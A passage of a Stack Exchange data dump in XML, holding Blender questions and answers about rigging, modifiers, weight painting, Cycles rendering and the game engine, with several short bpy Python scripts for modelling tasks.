CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25945" PostTypeId="1" CreationDate="2015-02-17T23:48:29.850" Score="0" ViewCount="119" Body="&lt;p&gt;Hi how can I make this bone for each finger  move just that finger?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XBzc8.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Qpu8M.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;I used the old parenting method.&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-02-18T20:35:34.053" Title="Armature not working correctly" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2015-02-27T16:53:26.823" ContentLicense="CC BY-SA 3.0" />
  <row Id="25946" PostTypeId="2" ParentId="25944" CreationDate="2015-02-18T00:31:53.157" Score="4" Body="&lt;p&gt;The Add Mesh: Extra Objects addon has a step pyramid mesh. However, it has a maximum of 20 steps. That can be fixed though, by editing the script file.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The location of the addon's initialisation script is shown in the User Preferences window (see the image below, the part marked in green; this shows the location in my installation, and it may differ depending on what OS you're running). The script for the step pyramid is called &lt;code&gt;add_mesh_pyramid.py&lt;/code&gt;, and it should be located in the same directory as the &amp;#95;&amp;#95;init&amp;#95;&amp;#95;.py file.&lt;br&gt;&#xA;Open the file, locate &lt;code&gt;num_steps&lt;/code&gt; and simply change the max value to something that works for you. With hundreds of steps, you may also need to change the min value of &lt;code&gt;reduce_by&lt;/code&gt; to something lower.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To activate it, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; to go to user preferences. Click the Add-ons tab, then Add Mesh, then the little check box to the right at Add Mesh: Extra Object. If you want the addon to remain after you close Blender, also click Save User Settings.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lp5wH.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't been able to get screenshots from Blender to capture the menus, so I can't show you, but the step pyramid will be available under Add &gt; Mesh &gt; Misc Objects &gt; Step Pyramid. Here's the available settings to tweak it.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/b25nD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2015-02-18T02:21:07.560" LastActivityDate="2015-02-18T02:21:07.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25948" PostTypeId="1" AcceptedAnswerId="25949" CreationDate="2015-02-18T01:11:41.630" Score="2" ViewCount="3254" Body="&lt;p&gt;I was wondering how to use constraints with an armature, i.e. have an object copy the rotation/location of a bone, or a bone copy the rotation/location of an object. How exactly would I do this?&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="6204" LastEditDate="2015-02-18T01:31:07.267" LastActivityDate="2015-02-18T01:31:07.267" Title="How do you use constraints with Armatures?" Tags="&lt;bones&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="25949" PostTypeId="2" ParentId="25948" CreationDate="2015-02-18T01:24:14.997" Score="1" Body="&lt;p&gt;You can use armature in &lt;em&gt;Constraint&lt;/em&gt; parentings very easily, select the object you wan the bone to influence, add the desired constraint, and then select the proper armature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RXLEe.gif&quot; alt=&quot;Copy Armature Rot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also select the individual bone within an &lt;em&gt;Armature&lt;/em&gt; object within the &lt;em&gt;Constraint&lt;/em&gt; settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J39lE.gif&quot; alt=&quot;Select Armature Bone&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only that, you can also influence a bone's rotation via constraints:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AiaSJ.gif&quot; alt=&quot;Copy Object Rot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-02-18T01:24:14.997" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="25950" PostTypeId="2" ParentId="25920" CreationDate="2015-02-18T02:08:22.917" Score="5" Body="&lt;p&gt;I also had this problem, and it can be fixed by simply lowering the sensitivity. Note that the reset distance is still smaller than the trigger distance, so this does not fix the problem completely, it only makes almost un-noticable and more bearable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hHzrm.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;                     &lt;strong&gt;With problem&lt;/strong&gt;                                                          &lt;strong&gt;Improved&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason this happens is that the game engine, when calculating the mouse's movement, resets the mouse to the center of the screen slightly before it detects the new position.&#xA;If you do not move the mouse fast enough, the game engine resets the cursor to the center before it can detect it's movement.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-02-18T02:08:22.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25951" PostTypeId="1" CreationDate="2015-02-18T02:38:18.770" Score="1" ViewCount="295" Body="&lt;p&gt;In my model, I have 4 objects that share 2 different materials.&#xA;However, when exporting to Unity, the first object has the correct 2 materials, the second object has 3 materials, third object has 4 materials etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, only 2 materials show up in Blender. It managed to have it working before, so there must be something I did that causes the hidden materials to show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="12660" LastEditorDisplayName="user7952" LastEditDate="2015-02-18T02:47:12.897" LastActivityDate="2015-02-18T02:47:12.897" Title="Hidden materials issue" Tags="&lt;materials&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25952" PostTypeId="2" ParentId="25944" CreationDate="2015-02-18T03:01:53.710" Score="3" Body="&lt;p&gt;This is in case you wanted pyramid of separate objects  *linked &quot;share the same data&quot; or not:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;run the script&lt;/li&gt;&#xA;&lt;li&gt;select an object &lt;/li&gt;&#xA;&lt;li&gt;hit &lt;kbd&gt;space&lt;/kbd&gt; type &quot;pyramid&quot; select &quot;create a pyramid&quot;&lt;/li&gt;&#xA;&lt;li&gt;setup the options through the tool shelf&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dv0Mb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the script :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;from bpy.props import IntProperty,FloatProperty,BoolProperty&#xA;&#xA;class Pyramid(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Add a simple box mesh&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.pyramid&quot;&#xA;    bl_label = &quot;Create a Pyramid&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    steps = IntProperty(name=&quot;Steps&quot;,description=&quot;Number of items to create&quot;,min=1, max=100, default=1  )&#xA;    Z_offset = FloatProperty(name=&quot;Z Offset&quot;,description=&quot;Z offset&quot;,min=-100.0, max=100.0, default=2.0 )&#xA;    dX = FloatProperty(name=&quot;X increment&quot;,description=&quot;X increment&quot;,min=-100.0, max=100.0, default=2.0 )&#xA;    dY = FloatProperty(name=&quot;Y increment&quot;,description=&quot;Y increment&quot;,min=-100.0, max=100.0, default=2.0 )&#xA;    linked = BoolProperty(name=&quot;Linked&quot;,description=&quot;created objects are linked to the original&quot;,default =False)&#xA;    apply_t = BoolProperty(name=&quot;Apply Transform&quot;,description=&quot;apply object transform&quot;,default =False)&#xA;&#xA;    def execute(self, context):&#xA;        steps = self.steps&#xA;        Z_offset = self.Z_offset&#xA;        dX = self.dX&#xA;        dY = self.dY&#xA;        linked = self.linked&#xA;        apply_t=self.apply_t&#xA;&#xA;        for x in range(0, steps):&#xA;&#xA;            if linked :&#xA;                bpy.ops.object.duplicate_move_linked()&#xA;            else :&#xA;                bpy.ops.object.duplicate() &#xA;&#xA;            bpy.context.object.dimensions[0] += dX&#xA;            bpy.ops.transform.translate( value =(0,0,Z_offset))&#xA;            bpy.context.object.dimensions[1] += dY&#xA;            if apply_t and not linked:&#xA;                bpy.ops.object.transform_apply(scale =True)&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(Pyramid)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(Pyramid)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-18T03:01:53.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25953" PostTypeId="2" ParentId="24473" CreationDate="2015-02-18T03:07:03.787" Score="9" Body="&lt;p&gt;In most Linux OS's, the window action key is alt which conflics with many Blender shortcuts the most noticable of which is the alt-&gt;click edge loop short cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be harder to fix this problem than some of the other conflicting hotkeys because it isn't actually in the keyboard hotkeys menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In most OS's it's in the window resizing settings panel. In the cinnamon and xfce window managers, this is found in the normal settings manager or can also be found by searching for it. In the GNOME window manager, it can be found in the GNOME Tweak Tool under windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you have to do is locate the window action key, or basically a drop down menu that by default has alt in it. Just change this to something like super, or in GNOME, you can change it to disable like I have it.&lt;/p&gt;&#xA;" OwnerUserId="2533" LastEditorUserId="8262" LastEditDate="2015-02-19T03:48:14.470" LastActivityDate="2015-02-19T03:48:14.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25954" PostTypeId="1" CreationDate="2015-02-18T03:18:48.860" Score="2" ViewCount="341" Body="&lt;p&gt;Hi i was weight painting for a finger and I couldn't help but notice it doesn't paint anything until i hit a certain spot and even then it paints all around it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;apparently brush size doesn't help. any ideas?&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-02-18T04:33:28.333" Title="More detailed weight painting?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25956" PostTypeId="2" ParentId="25928" CreationDate="2015-02-18T04:04:35.447" Score="4" Body="&lt;p&gt;Add a Vertex Color layer that is solid white and keep that one activated when you are not doing any Vertex Painting.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does waste a layer and definitely counts as a work-around but it's the only way I know of to do this and it works.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-02-18T04:04:35.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25957" PostTypeId="1" AcceptedAnswerId="25996" CreationDate="2015-02-18T04:08:15.703" Score="2" ViewCount="711" Body="&lt;p&gt;I am trying to solidify a stl file which has a sharp edge at the center. When I try to solidify, there seems to missing faces in the solidified region. Normals seem fine. Any thoughts on it?&#xA;Sorry if its a noobie question :)!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/59yNS.png&quot; alt=&quot;geometry file (stl)&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gJxP9.png&quot; alt=&quot;after solidify modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best,&#xA;Rahul&lt;/p&gt;&#xA;" OwnerUserId="12661" LastActivityDate="2015-02-18T21:05:20.550" Title="Solidify issue at sharp bifurcation location" Tags="&lt;mesh&gt;&lt;modifiers&gt;&lt;3d-printing&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25958" PostTypeId="2" ParentId="25954" CreationDate="2015-02-18T04:33:28.333" Score="1" Body="&lt;p&gt;Weight paining is actually just assigning weights to vertices.  So you will need to add more geometry to your mesh.  I would recommend going into edit mode on your mesh, selecting all with &lt;kbd&gt;A&lt;/kbd&gt;, and hitting &lt;kbd&gt;W&lt;/kbd&gt; &gt; &lt;em&gt;subdivide&lt;/em&gt; or &lt;em&gt;subdivide smooth&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-02-18T04:33:28.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25959" PostTypeId="2" ParentId="25928" CreationDate="2015-02-18T04:35:08.753" Score="1" Body="&lt;p&gt;If you are painting on an image texture mapped to UV, you might get around this by using GLSL if you are using Blender Internal materials, and disabling the effect of the vertex color in the shader until you are ready to use it. If you are using Cycles, then using vertex color through the Attribute node is easy to disconnect from diffuse input until needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this is using the Texture draw mode, but with Cycles you are supposed to be able to use the Material draw mode to get a semi-GLSL experience.&lt;/p&gt;&#xA;" OwnerUserId="12662" LastActivityDate="2015-02-18T04:35:08.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25960" PostTypeId="2" ParentId="25922" CreationDate="2015-02-18T04:41:28.370" Score="1" Body="&lt;p&gt;You would have to modify Blender on the source-code level to inject custom screenspace shaders to the viewport. Something that requires a decent knowledge of C/C++ and Blender's codebase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the latest build of Blender (since 2.73) actually has SSAO and DoF built into the viewport. You can try it out by downloading the daily build from &lt;a href=&quot;http://builder.blender.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://builder.blender.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W4Frx.jpg&quot; alt=&quot;Viewport with SSAO and Depth of field&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2015-02-18T04:41:28.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25961" PostTypeId="1" AcceptedAnswerId="25998" CreationDate="2015-02-18T04:59:00.880" Score="3" ViewCount="1289" Body="&lt;p&gt;I'm working on a scene for a short film, and one of my characters uses Cycles strand rendering for hair. When I render out the animation, I notice the hair flickers like crazy and I'm not sure why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the video: &lt;a href=&quot;https://www.youtube.com/watch?v=oF662SBlZpo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=oF662SBlZpo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the node setup for his hair:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Yxqhl.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This becomes VERY apparent when the character is moving and not so much when he is still.&lt;/p&gt;&#xA;" OwnerUserId="2228" LastActivityDate="2015-02-18T20:28:51.070" Title="How do I prevent hair flickering in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;&lt;materials&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25962" PostTypeId="2" ParentId="25929" CreationDate="2015-02-18T05:41:45.257" Score="0" Body="&lt;p&gt;One way to do this is to select the edges that form the window.  You can do this by activating Edge Selection and holding down the &lt;kbd&gt;Alt&lt;/kbd&gt; key while you select-mouse-click one of the edges.  This should select the entire loop.  Now you can use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;d&lt;/kbd&gt; to duplicate the selection and press escape to cancel it's movement, it should now be exactly where the window edges are.  Press the &lt;kbd&gt;p&lt;/kbd&gt; key and choose 'Separate-&gt;Selection'.&lt;br&gt;&#xA;Now enter Object mode, select the edges and enter Edit mode to shape it into a window frame. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vdusk.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also extrude the edges out without duplicating and separating the edges to a separate Object.  I find sometimes it's cleaner to separate components while I'm working on them.  Afterwards, they can be joined again when it's time to UV unwrap everything.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The frame was extruded along the y-axis&lt;kbd&gt;e&lt;/kbd&gt;then constrained with &lt;kbd&gt;y&lt;/kbd&gt;. Then Inset&lt;kbd&gt;i&lt;/kbd&gt;.  Next the 3D cursor was placed along the inside edges using the same &lt;kbd&gt;Alt&lt;/kbd&gt; + click following by &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;s&lt;/kbd&gt;-&gt;Cursor To Selected.  Now I extruded again and canceled using &lt;kbd&gt;Escape&lt;/kbd&gt;.  Now if you change the pivot center to '3D cursor', and use Scale&lt;kbd&gt;s&lt;/kbd&gt;you can constrain the scaling to the y-axis by pressing &lt;kbd&gt;y&lt;/kbd&gt; and follow that up with the &lt;kbd&gt;0&lt;/kbd&gt; key to scale the extruded edge to '0.0' in respect to the 3D cursors position.  Finally, fill in the back edges with 'Make Face'&lt;kbd&gt;f&lt;/kbd&gt; after selecting two opposing edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Vjai.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-02-18T05:41:45.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25963" PostTypeId="1" AcceptedAnswerId="26024" CreationDate="2015-02-18T06:16:38.597" Score="1" ViewCount="126" Body="&lt;p&gt;I am making a shooting game . I wanted my hand and head to face the direction of the camera so it can look/shoot up or down.But when i face downwards or upwards , it result is not what i wanted . Have a look at this. &lt;img src=&quot;https://i.stack.imgur.com/LpJlG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a8fvu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is obviously the origin problem . Have a look at the origin location.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rkqCZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried shift+ctrl+alt+c to set it to geometry but it doesnt work in armature.&#xA;Any solutions? Please help . Thanks and Over&lt;/p&gt;&#xA;" OwnerUserId="11643" LastEditorUserId="11643" LastEditDate="2015-02-18T15:53:53.983" LastActivityDate="2015-02-19T12:35:20.280" Title="Armature origin" Tags="&lt;game-engine&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25964" PostTypeId="1" AcceptedAnswerId="25965" CreationDate="2015-02-18T06:19:56.203" Score="3" ViewCount="420" Body="&lt;p&gt;So I was doing a fairly simple model of a Glock hand gun. I had already applied a mirror modifier to the model, that I had so far (which was the grip). Then I applied the subdivision surface modifier. At the point where the mirrored part of the model and the &quot;real&quot; part of the model met it collapsed inside of itself. Bellow will be a picture of the model. I would really appreciate it if someone could tell me how to fix this so I can get back to working on my model. Also the picture is the bottom part of the grip, it may looks like two smaller grips, they are supposed to form one. But like I said it collapsed in on itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Nova&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UpTCZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11041" LastActivityDate="2015-02-18T09:11:00.763" Title="Applied Subdivision Surface Modifier To a Mirror Modified Model The Model Enveloped in on Itself" Tags="&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25965" PostTypeId="2" ParentId="25964" CreationDate="2015-02-18T09:11:00.763" Score="8" Body="&lt;p&gt;Your model seems to have faces at the border between the two halves, so to Blender it looks like they are separate.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Remove these faces&lt;/li&gt;&#xA;&lt;li&gt;make sure that the mirror modifier is above the subsurf modifier&lt;/li&gt;&#xA;&lt;li&gt;make sure that Merge is enabled for the Mirror modifier&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2015-02-18T09:11:00.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25967" PostTypeId="1" CreationDate="2015-02-18T10:09:45.130" Score="1" ViewCount="180" Body="&lt;p&gt;I'm working with some huge STL models broken into multiple meshes. To automate mesh refining, I'm using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scene = bpy.context.scene&#xA;selected = bpy.context.selected_objects&#xA;&#xA;for obj in selected:&#xA;    scene.objects.active = obj&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;    bpy.ops.mesh.remove_doubles()&#xA;    bpy.ops.mesh.normals_make_consistent()&#xA;    bpy.ops.object.mode_set(mode='OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It takes a significant amount of time to process. Am I doing this right, or is there a quicker way, perhaps with bpy.data?&lt;/p&gt;&#xA;" OwnerUserId="12665" LastEditorUserId="1253" LastEditDate="2015-02-18T13:15:37.837" LastActivityDate="2015-02-18T13:15:37.837" Title="Python automation, normals, and dupliverts" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25968" PostTypeId="2" ParentId="25967" CreationDate="2015-02-18T10:40:59.270" Score="1" Body="&lt;p&gt;The equivalent using BMesh and bmesh.ops would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;for obj in bpy.context.selected_objects:&#xA;&#xA;    bm = bmesh.new()   # create an empty BMesh&#xA;    bm.from_mesh(obj.data)   # fill it in from a Mesh&#xA;&#xA;    d = 0.0001&#xA;    bm_verts = bm.verts[:]&#xA;    bmesh.ops.remove_doubles(bm, verts=bm_verts, dist=d)&#xA;&#xA;    bm_faces = bm.faces[:]&#xA;    bmesh.ops.recalc_face_normals(bm, faces=bm_faces)&#xA;&#xA;    bm.to_mesh(obj.data)&#xA;    bm.free()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, i doubt it will be much faster.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-02-18T10:40:59.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25969" PostTypeId="2" ParentId="23358" CreationDate="2015-02-18T11:19:28.437" Score="1" Body="&lt;p&gt;It's not really limiting the render to what's visible to the camera, but you can limit some effects to camera, such as bump maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mixing your bump BW factor with a 50% grey color with light path's &quot;is camera ray&quot; to make your bump map only visible to the camera. Add (math node, clamp checked) &quot;is camera ray&quot; with &quot;is glossy ray&quot; to have your bump visible in glossy reflections too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u92Y4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-02-18T11:19:28.437" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="25970" PostTypeId="1" AcceptedAnswerId="25972" CreationDate="2015-02-18T11:53:34.243" Score="1" ViewCount="230" Body="&lt;p&gt;I wanted to walk and crouch walk. Walk with a faster speed and crouch walk with a slower speed. The control for the walk is &lt;kbd&gt;W&lt;/kbd&gt; and crouch walk is &lt;kbd&gt;C&lt;/kbd&gt;+&lt;kbd&gt;W&lt;/kbd&gt;, but when I play the game, the crouch walk speed is the same as the walking speed. I don't want to change any of the controls, so is there any solution ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ntlL7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A50Xu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11643" LastEditorUserId="241" LastEditDate="2016-04-15T21:36:31.410" LastActivityDate="2016-04-15T21:36:31.410" Title="How can I have varying speeds for my Motion gamelogic actuator?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25971" PostTypeId="2" ParentId="25944" CreationDate="2015-02-18T12:13:01.987" Score="1" Body="&lt;p&gt;You might want to try out the Remesh modifier. Create a regular pyramid without any steps and then add a Remesh modifier with the mode set to Blocks. Play around with the modifier's settings and the size of your object in Edit mode until you get a nice result.&lt;/p&gt;&#xA;" OwnerUserId="4944" LastEditorUserId="4944" LastEditDate="2015-02-18T12:20:42.693" LastActivityDate="2015-02-18T12:20:42.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25972" PostTypeId="2" ParentId="25970" CreationDate="2015-02-18T12:19:39.197" Score="1" Body="&lt;p&gt;Here is one away to do it :&lt;br/&gt;&#xA;Instead of having a low speed for the crouch give it a negative speed this way when it is combined with faster motion it slow it down&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x64YE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-18T12:19:39.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25973" PostTypeId="1" AcceptedAnswerId="25974" CreationDate="2015-02-18T12:19:55.400" Score="0" ViewCount="219" Body="&lt;p&gt;Is there any way to get a quick render, like OpenGL for cycles and fisheye camera? Maybe deleting all the materials alltogether, or giving them wireframes? (this could be the best option) ?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-18T12:47:24.943" Title="Is there any way to get a quick render, like OpenGL for cycles and fisheye camera?" Tags="&lt;cycles-render-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25974" PostTypeId="2" ParentId="25973" CreationDate="2015-02-18T12:27:02.110" Score="1" Body="&lt;p&gt;override all the materials from the layer tab :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vjMWa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to add wireframe to all objects :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj in bpy.data.objects:&#xA;    if obj.type == 'MESH':&#xA;        obj.modifiers.new(&quot;temp_mod&quot;, 'WIREFRAME')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;run this and all the objects will be in wireframe render then use this script to remove it :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;for obj in bpy.data.objects:&#xA;    if obj.type == 'MESH':&#xA;        obj.modifiers.remove(obj.modifiers['temp_mod'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-02-18T12:47:24.943" LastActivityDate="2015-02-18T12:47:24.943" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25975" PostTypeId="1" AcceptedAnswerId="25980" CreationDate="2015-02-18T12:32:22.467" Score="3" ViewCount="202" Body="&lt;p&gt;Is there any way to create a real Low-Quality Wireframe material on Cycles for Preview Purposes on Cycles Render? I need to save time by rendering...&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-02-18T13:02:31.360" Title="Low-Quality Wireframe material on Cycles for Preview Purposes?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25976" PostTypeId="1" CreationDate="2015-02-18T12:34:08.357" Score="3" ViewCount="181" Body="&lt;p&gt;I know it could be weird, but can I for example take all the objects in the scene (static objects) and then render them with low polygons? like transforming them or something like that?&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="12" LastEditDate="2015-02-18T14:56:37.773" LastActivityDate="2015-02-18T14:56:37.773" Title="Can I delete geometry by rendering?" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
